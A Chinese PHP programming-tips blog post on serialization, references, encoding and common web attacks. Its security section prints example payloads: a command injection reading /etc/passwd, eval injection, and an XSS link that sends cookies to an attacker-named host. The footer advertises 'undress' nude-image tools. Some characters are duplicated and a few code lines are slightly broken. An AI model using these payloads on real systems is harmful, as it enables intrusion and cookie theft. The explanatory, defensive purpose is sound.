PHP編程注意事項(xiàng)
Jul 29, 2017 pm 02:36 PM1、php隱性的三元操作符(?:)優(yōu)先級(jí)問題:
例1:
$person = $who or $person = "laruence"; ?
??
//實(shí)際上是等同于: ?
??
$person = emptyempty($who)? "laruence" : $who; ?
?例2
$arr = array(1=>1,3=>3); ?
$i = 2; ?
$a = ’test‘ . isset($arr[$i]) ? $arr[$i] : $i; ?
$a 是什么? 這個(gè)問題, 咋一看覺得簡(jiǎn)單,?
$a = ‘test2';
其實(shí)仔細(xì)推敲后運(yùn)行的,結(jié)果是notice:Undefined index 2..
由于優(yōu)先級(jí)的問題, 連接符的優(yōu)先級(jí)比三元操作符高。
首先是判斷 ' test'. isset($arr[$i]) 這個(gè)字符串永遠(yuǎn)是true,因此:
$a = ?$arr[$i];以致php提示提醒。
?
?
2. PHP函數(shù)名和類名不區(qū)分大小寫的,而變量名是區(qū)分大小寫的。
所以自己寫的php模塊,往往是大寫的問題,編譯不通過。
?
3.系列化傳遞問題
把復(fù)雜的數(shù)據(jù)類型壓縮到一個(gè)字符串中
serialize() 把變量和它們的值編碼成文本形式
unserialize() 恢復(fù)原先變量
$stooges = array('Moe','Larry','Curly'); ?
$new = serialize($stooges); ?
print_r($new);echo "
"; ?
print_r(unserialize($new)); ?
?
結(jié)果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ( [0] => Moe [1] => Larry [2] => Curly )
當(dāng)把這些序列化的數(shù)據(jù)放在URL中在頁面之間會(huì)傳遞時(shí),需要對(duì)這些數(shù)據(jù)調(diào)用urlencode(),以確保在其中的URL元字符進(jìn)行處理:
?
$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4); ?
echo 'next'; ?
?
margic_quotes_gpc和magic_quotes_runtime配置項(xiàng)的設(shè)置會(huì)影響傳遞到unserialize()中的數(shù)據(jù)。
如果magic_quotes_gpc項(xiàng)是啟用的,那么在URL、POST變量以及cookies中傳遞的數(shù)據(jù)在反序列化之前必須用stripslashes()進(jìn)行處理:
$new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc開啟 ?
$new_cart = unserialize($cart); ?
?
如果magic_quotes_runtime是啟用的,那么在向文件中寫入序列化的數(shù)據(jù)之前必須用addslashes()進(jìn)行處理,而在讀取它們之前則必須用stripslashes()進(jìn)行處理:
$fp = fopen('/tmp/cart','w'); ?
fputs($fp,addslashes(serialize($a))); ?
fclose($fp); ?
//如果magic_quotes_runtime開啟 ?
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart'))); ?
//如果magic_quotes_runtime關(guān)閉 ?
$new_cat = unserialize(file_get_contents('/tmp/cart')); ?
?
在啟用了magic_quotes_runtime的情況下,從數(shù)據(jù)庫中讀取序列化的數(shù)據(jù)也必須經(jīng)過stripslashes()的處理,保存到數(shù)據(jù)庫中的序列化數(shù)據(jù)必須要經(jīng)過addslashes()的處理,以便能夠適當(dāng)?shù)卮鎯?chǔ)。
mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')"); ?
$rs = mysql_query('select data from cart where id=1'); ?
$ob = mysql_fetch_object($rs); ?
//如果magic_quotes_runtime開啟 ?
$new_cart = unserialize(stripslashes($ob->data)); ?
//如果magic_quotes_runtime關(guān)閉 ?
$new_cart = unserialize($ob->data); ?
當(dāng)對(duì)一個(gè)對(duì)象進(jìn)行反序列化操作時(shí),PHP會(huì)自動(dòng)地調(diào)用其__wakeUp()方法。這樣就使得對(duì)象能夠重新建立起序列化時(shí)未能保留的各種狀態(tài)。例如:數(shù)據(jù)庫連接等。
?
4. 引用注意事項(xiàng)
PHP中引用意味著用不同的名字訪問同一個(gè)變量?jī)?nèi)容,引用不是C的指針(C語言中的指針里面存儲(chǔ)的是變量的內(nèi)容,在內(nèi)存中存放的地址),是變量的另外一個(gè)別名或者映射。注意在 PHP 中,變量名和變量?jī)?nèi)容是不一樣的,因此同樣的內(nèi)容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身――變量名是目錄條目,而變量?jī)?nèi)容則是文件本身。引用可以被看作是 Unix 文件系統(tǒng)中的緊密連接或者wins的快捷方式。
1)unset 一個(gè)引用,只是斷開了變量名和變量?jī)?nèi)容之間的綁定。這并不意味著變量?jī)?nèi)容被銷毀了
?
例如:不會(huì) unset $b,只是 $a。
?
$a = 1 ;
$b =& $a ;
unset ( $a );
echo $b; //輸出:1:
使用unset($a)與$a=null的結(jié)果是不一樣的。如果該塊內(nèi)存只有$a一個(gè)映射,那么unset($a)與$a=null等價(jià),該內(nèi)存的引用計(jì)數(shù)變?yōu)?,被自動(dòng)回收;如果該塊內(nèi)存有$a和$b兩個(gè)映射,那么unset($a)將導(dǎo)致$a=null且$b不變的情況,而$a=null會(huì)導(dǎo)致$a=$b=null的情況。
原因:某變量賦值為null,將導(dǎo)致該變量對(duì)應(yīng)的內(nèi)存塊的引用計(jì)數(shù)直接置為0,被自動(dòng)回收。
2)PHP引用是采用引用計(jì)數(shù)、寫時(shí)拷貝
很多人誤解Php中的引用跟C當(dāng)中的指針一樣,事實(shí)上并非如此,而且很大差別。C語言中的指針除了在數(shù)組傳遞過程中不用顯式申明外,其他都需要使用*進(jìn)行定義,而php中對(duì)于地址的指向(類似指針)功能不是由用戶自己來實(shí)現(xiàn)的,是由Zend核心實(shí)現(xiàn)的,php中引用采用的是“引用計(jì)數(shù)、寫時(shí)拷貝”的原理,(寫時(shí)復(fù)制(Copy-on-Write,也縮寫為COW),顧名思義,就是在寫入時(shí)才真正復(fù)制一份內(nèi)存進(jìn)行修改。)
就是除非發(fā)生寫操作,指向同一個(gè)地址的變量或者對(duì)象是不會(huì)被拷貝的,比如下面的代碼:
$a = array('a','c'...'n');
$b = $a;
如果程序僅執(zhí)行到這里,$b和$b是相同的,但是并沒有像C那樣,$a和$b占用不同的內(nèi)存空間,而是指向了同一塊內(nèi)存,這就是php和c的差別,并不需要寫成$b=&$a才表示$b指向$a的內(nèi)存,zend就已經(jīng)幫你實(shí)現(xiàn)了引用,并且zend會(huì)非常智能的幫你去判斷什么時(shí)候該這樣處理,什么時(shí)候不該這樣處理。
如果在后面繼續(xù)寫如下代碼,增加一個(gè)函數(shù),通過引用的方式傳遞參數(shù),并打印輸出數(shù)組大小。
function printArray(&$arr) //引用傳遞
{
print(count($arr));
}
printArray($a);
上面的代碼中,我們通過引用把$a數(shù)組傳入printArray()函數(shù),zend引擎會(huì)認(rèn)為printArray()可能會(huì)導(dǎo)致對(duì)$a的改變,此時(shí)就會(huì)自動(dòng)為$b生產(chǎn)一個(gè)$a的數(shù)據(jù)拷貝,重新申請(qǐng)一塊內(nèi)存進(jìn)行存儲(chǔ)。這就是前面提到的“引用計(jì)數(shù)、寫時(shí)拷貝”概念。
直觀的理解:$a將使用自己原始的內(nèi)存空間,而$b,則會(huì)使用新開辟的內(nèi)存空間,而這個(gè)空間將使用$a的原始($a或者$b改變之前)內(nèi)容空間的內(nèi)容的拷貝,然后做對(duì)應(yīng)的改變。
如果我們把上面的代碼改成下面這樣:
function printArray($arr) //值傳遞
{
print(count($arr));
}
printArray($a);
上面的代碼直接傳遞$a值到printArray()中,此時(shí)并不存在引用傳遞,所以沒有出現(xiàn)寫時(shí)拷貝。
具體了解引用請(qǐng)看:PHP中引用的詳解(引用計(jì)數(shù)、寫時(shí)拷貝)
5. 編碼的問題
程序代碼使用utf-8碼,而strlen函數(shù)是計(jì)算字符串的字節(jié)數(shù)而不是字符數(shù)?
$str = “您好hello”;
echo strlen($str);
結(jié)果:ANSI=9 而utf-8=11,utf-8中文字符編碼是3個(gè)字節(jié)。要獲取字符數(shù),使用mb_strlen().
6. PHP獲取參數(shù)的三種方法
方法一 使用$argc $argv
if ($argc > 1){ ?
? ? ? ? print_r($argv); ?
? ? } ?
在命令行下運(yùn)行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
運(yùn)行結(jié)果:
? ? ?# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
? ? ? ? Array
? ? ? ? (
? ? ? ? ? ? [0] => ./getopt.php
? ? ? ? ? ? [1] => -f
? ? ? ? ? ? [2] => 123
? ? ? ? ? ? [3] => -g
? ? ? ? ? ? [4] => 456
? ? ? ? )
?
方法二 使用getopt函數(shù)()
$options = "f:g:"; ?
$opts = getopt( $options ); ?
print_r($opts); ?
在命令行下運(yùn)行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
?運(yùn)行結(jié)果:
? ?Array
? ? ? ? (
? ? ? ? ? ? [f] => 123
? ? ? ? ? ? [g] => 456
? ? ? ? )
方法三 提示用戶輸入,然后獲取輸入的參數(shù)。有點(diǎn)像C語言
fwrite(STDOUT, "Enter your name: "); ?
$name = trim(fgets(STDIN)); ?
fwrite(STDOUT, "Hello, $name!"); ?
?
在命令行下運(yùn)行 /usr/local/php/bin/php ./getopt.php
?運(yùn)行結(jié)果
? ? ?Enter your name: francis
? ? ?Hello, francis!
?
?
7. php的字符串即可以當(dāng)做數(shù)組,和c指針字符串一樣
$s = '12345';
$s[$s[0]] = 0;
echo $s;
?> ?
結(jié)果是10345
?
?
8. PHP的高效率寫法:
? ?請(qǐng)看:PHP高效率寫法(詳解原因)
?
9. PHP的安全漏洞問題:
針對(duì)PHP的網(wǎng)站主要存在下面幾種攻擊方式:
1、命令注入(Command Injection)
? ? ?PHP中可以使用下列5個(gè)函數(shù)來執(zhí)行外部的應(yīng)用程序或函數(shù) system、exec、passthru、shell_exec、“(與shell_exec功能相同)
? ? ?如:
$dir = $_GET["dir"];
if (isset($dir)) {
echo "";
system("ls -al ".$dir);
echo "";
}
?> ??
我們提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令變成了 system("ls -al | cat /etc/passwd"); 我們服務(wù)器用戶信息被竊看了吧。
2、eval注入(Eval Injection)
eval函數(shù)將輸入的字符串參數(shù)當(dāng)作PHP程序代碼來執(zhí)行,eval注入一般發(fā)生在攻擊者能控制輸入的字符串的時(shí)候。
$var = "var"; ??
if (isset($_GET["arg"])) ??
{ ??
? ? $arg = $_GET["arg"]; ??
? ? eval("\$var = $arg;"); ??
? ? echo "\$var =".$var; ??
} ??
?> ?
?
當(dāng)我們提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產(chǎn)生了;
防范命令注入和eval注入的方法
? ?1)、盡量不要執(zhí)行外部命令。
? ?2)、使用自定義函數(shù)或函數(shù)庫來替代外部命令的功能,甚至有些服務(wù)器直接禁止使用這些函數(shù)。
? ?3)、使用escapeshellarg函數(shù)來處理命令參數(shù),esacpeshellarg函數(shù)會(huì)將任何引起參數(shù)或命令結(jié)束的字符轉(zhuǎn)義,單引號(hào)“’”,替換成“\’”,雙引號(hào)“"”,替換成“\"”,分號(hào)“;”替換成“\;”
?
3、客戶端腳本攻擊(Script Insertion)
客戶端腳本植入的攻擊步驟
1)、攻擊者注冊(cè)普通用戶后登陸網(wǎng)站
2)、打開留言頁面,插入攻擊的js代碼
3)、其他用戶登錄網(wǎng)站(包括管理員),瀏覽此留言的內(nèi)容
4)、隱藏在留言內(nèi)容中的js代碼被執(zhí)行,攻擊成功
?
表單輸入一些瀏覽器可以執(zhí)行的腳本:
插入 <script>while(1){windows.open();}</script> 無限彈框
插入<script>location.href="http://www.sectop.com";</script> 跳轉(zhuǎn)釣魚頁面
?防止惡意HTML標(biāo)簽的最好辦法是使用htmlspecailchars或者h(yuǎn)tmlentities使某些字符串轉(zhuǎn)為html實(shí)體。
?
4、跨網(wǎng)站腳本攻擊(Cross Site Scripting, XSS)
惡意攻擊者往Web頁面里插入惡意html代碼,當(dāng)用戶瀏覽該頁之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。
跨站腳本主要被攻擊者利用來讀取網(wǎng)站用戶的cookies或者其他個(gè)人數(shù)據(jù),一旦攻擊者得到這些數(shù)據(jù),那么他就可以偽裝成此用戶來登錄網(wǎng)站,獲得此用戶的權(quán)限。
跨站腳本攻擊的一般步驟:
1)、攻擊者以某種方式發(fā)送xss的http鏈接給目標(biāo)用戶,例如評(píng)論表單:
? ? ? ? 插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
? ? ? 或者是鏈接:
? ? ? http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >
2)、目標(biāo)用戶登錄此網(wǎng)站,在登陸期間打開了攻擊者發(fā)送的xss鏈接
3)、網(wǎng)站執(zhí)行了此xss攻擊腳本
4)、目標(biāo)用戶頁面跳轉(zhuǎn)到攻擊者的網(wǎng)站,攻擊者取得了目標(biāo)用戶的信息
5)、攻擊者使用目標(biāo)用戶的信息登錄網(wǎng)站,完成攻擊
? ? ? 防止惡意HTML標(biāo)簽的最好辦法還是使用htmlspecailchars或者h(yuǎn)tmlentities使某些字符串轉(zhuǎn)為html實(shí)體。
?
5、SQL注入攻擊(SQL injection)
? ? ?SQL注入最有效的防御方式是使用準(zhǔn)備語句:
? ? ?準(zhǔn)備語句(也叫預(yù)備語句 prepared statements),是一種查詢,先將他們發(fā)送到服務(wù)器進(jìn)行預(yù)編譯和準(zhǔn)備,并且在以后的執(zhí)行這個(gè)查詢時(shí)告訴它存儲(chǔ)參數(shù)的位置。
其優(yōu)點(diǎn):
? ?1)對(duì)參數(shù)值進(jìn)行轉(zhuǎn)義。因此不必調(diào)用像mysqli::real_escape_string或者將參數(shù)放在引號(hào)中。
? 2)當(dāng)在一個(gè)腳本中多次執(zhí)行時(shí),預(yù)備語句的性能通常好于每次都通過網(wǎng)絡(luò)發(fā)送查詢,當(dāng)再次執(zhí)行一個(gè)查詢時(shí),只將參數(shù)發(fā)送到數(shù)據(jù)庫,這占用的空間比較少。
1)用PDO(PHP Data Objects ):
PHP PDO::prepare() and execute() ??
??
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)'); ? ?
??
$preparedStatement->execute(array(':column' => $unsafeValue)); ??
?
2) 使用mysqli:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); ??
??
$stmt->bind_param('s', $name); ? ?
??
$stmt->execute(); ? ?
??
$result = $stmt->get_result(); ? ?
??
while ($row = $result->fetch_assoc()) { ? ?
??
? ? // do something with $row ? ??
??
} ? ?
?
6、跨網(wǎng)站請(qǐng)求偽造攻擊(Cross Site Request Forgeries, CSRF)
7、Session 會(huì)話劫持(Session Hijacking)
8、Session 固定攻擊(Session Fixation)
9、HTTP響應(yīng)拆分攻擊(HTTP Response Splitting)
10、文件上傳漏洞(File Upload Attack)
11、目錄穿越漏洞(Directory Traversal)
12、遠(yuǎn)程文件包含攻擊(Remote Inclusion)
13、動(dòng)態(tài)函數(shù)注入攻擊(Dynamic Variable Evaluation)
14、URL攻擊(URL attack)
15、表單提交欺騙攻擊(Spoofed Form Submissions)
16、HTTP請(qǐng)求欺騙攻擊(Spoofed HTTP Requests)
幾個(gè)重要的php.ini選項(xiàng):register_globals、、magic_quotes、safe_mode。 這個(gè)幾個(gè)選項(xiàng)在PHP5.4都將被棄用。
register_globals:
? ? ?php>=4.2.0,php.ini的register_globals選項(xiàng)的默認(rèn)值預(yù)設(shè)為Off,當(dāng)register_globals
的設(shè)定為On時(shí),程序可以接收來自服務(wù)器的各種環(huán)境變量,包括表單提交的變量,而且由于PHP不必事先初始化變量的值,從而導(dǎo)致很大的安全隱患。
? ? ?要確保禁用 register_globals。如果啟用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替換同名的 GET 或 POST 字符串。通過禁用這個(gè)設(shè)置,PHP 強(qiáng)迫您在正確的名稱空間中引用正確的變量。要使用來自表單 POST 的變量,應(yīng)該引用 $_POST['variable']。這樣就不會(huì)將這個(gè)特定變量誤會(huì)成 cookie、會(huì)話或 GET 變量。?
?
safe_mode:
安全模式,PHP用來限制文檔的存取、限制環(huán)境變量的存取,控制外部程序的執(zhí)行。啟用安全模式必須設(shè)置php.ini中的safe_mode=On
?
magic_quotes
用來讓php程序的輸入信息自動(dòng)轉(zhuǎn)義,所有的單引號(hào)(“'”),雙引號(hào)(“"”),反斜杠(“\”)和空字符(NULL),都自動(dòng)被加上反斜杠進(jìn)行轉(zhuǎn)義magic_quotes_gpc=On用來設(shè)置magicquotes為On,它會(huì)影響HTTP請(qǐng)求的數(shù)據(jù)(GET、POST、Cookies)程序員也可以使用addslashes來轉(zhuǎn)義提交的HTTP 請(qǐng)求數(shù)據(jù),或者用stripslashes 來刪除轉(zhuǎn)義。
?

Hot AI Tools

Undress AI Tool
Undress images for free

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

AgeneratorinPHPisamemory-efficientwaytoiterateoverlargedatasetsbyyieldingvaluesoneatatimeinsteadofreturningthemallatonce.1.Generatorsusetheyieldkeywordtoproducevaluesondemand,reducingmemoryusage.2.Theyareusefulforhandlingbigloops,readinglargefiles,or

In PHP, you can use square brackets or curly braces to obtain string specific index characters, but square brackets are recommended; the index starts from 0, and the access outside the range returns a null value and cannot be assigned a value; mb_substr is required to handle multi-byte characters. For example: $str="hello";echo$str[0]; output h; and Chinese characters such as mb_substr($str,1,1) need to obtain the correct result; in actual applications, the length of the string should be checked before looping, dynamic strings need to be verified for validity, and multilingual projects recommend using multi-byte security functions uniformly.

To prevent session hijacking in PHP, the following measures need to be taken: 1. Use HTTPS to encrypt the transmission and set session.cookie_secure=1 in php.ini; 2. Set the security cookie attributes, including httponly, secure and samesite; 3. Call session_regenerate_id(true) when the user logs in or permissions change to change to change the SessionID; 4. Limit the Session life cycle, reasonably configure gc_maxlifetime and record the user's activity time; 5. Prohibit exposing the SessionID to the URL, and set session.use_only

The urlencode() function is used to encode strings into URL-safe formats, where non-alphanumeric characters (except -, _, and .) are replaced with a percent sign followed by a two-digit hexadecimal number. For example, spaces are converted to signs, exclamation marks are converted to!, and Chinese characters are converted to their UTF-8 encoding form. When using, only the parameter values ??should be encoded, not the entire URL, to avoid damaging the URL structure. For other parts of the URL, such as path segments, the rawurlencode() function should be used, which converts the space to . When processing array parameters, you can use http_build_query() to automatically encode, or manually call urlencode() on each value to ensure safe transfer of data. just

You can use substr() or mb_substr() to get the first N characters in PHP. The specific steps are as follows: 1. Use substr($string,0,N) to intercept the first N characters, which is suitable for ASCII characters and is simple and efficient; 2. When processing multi-byte characters (such as Chinese), mb_substr($string,0,N,'UTF-8'), and ensure that mbstring extension is enabled; 3. If the string contains HTML or whitespace characters, you should first use strip_tags() to remove the tags and trim() to clean the spaces, and then intercept them to ensure the results are clean.

There are two main ways to get the last N characters of a string in PHP: 1. Use the substr() function to intercept through the negative starting position, which is suitable for single-byte characters; 2. Use the mb_substr() function to support multilingual and UTF-8 encoding to avoid truncating non-English characters; 3. Optionally determine whether the string length is sufficient to handle boundary situations; 4. It is not recommended to use strrev() substr() combination method because it is not safe and inefficient for multi-byte characters.

To set and get session variables in PHP, you must first always call session_start() at the top of the script to start the session. 1. When setting session variables, use $_SESSION hyperglobal array to assign values ??to specific keys, such as $_SESSION['username']='john_doe'; it can store strings, numbers, arrays and even objects, but avoid storing too much data to avoid affecting performance. 2. When obtaining session variables, you need to call session_start() first, and then access the $_SESSION array through the key, such as echo$_SESSION['username']; it is recommended to use isset() to check whether the variable exists to avoid errors

Key methods to prevent SQL injection in PHP include: 1. Use preprocessing statements (such as PDO or MySQLi) to separate SQL code and data; 2. Turn off simulated preprocessing mode to ensure true preprocessing; 3. Filter and verify user input, such as using is_numeric() and filter_var(); 4. Avoid directly splicing SQL strings and use parameter binding instead; 5. Turn off error display in the production environment and record error logs. These measures comprehensively prevent the risk of SQL injection from mechanisms and details.
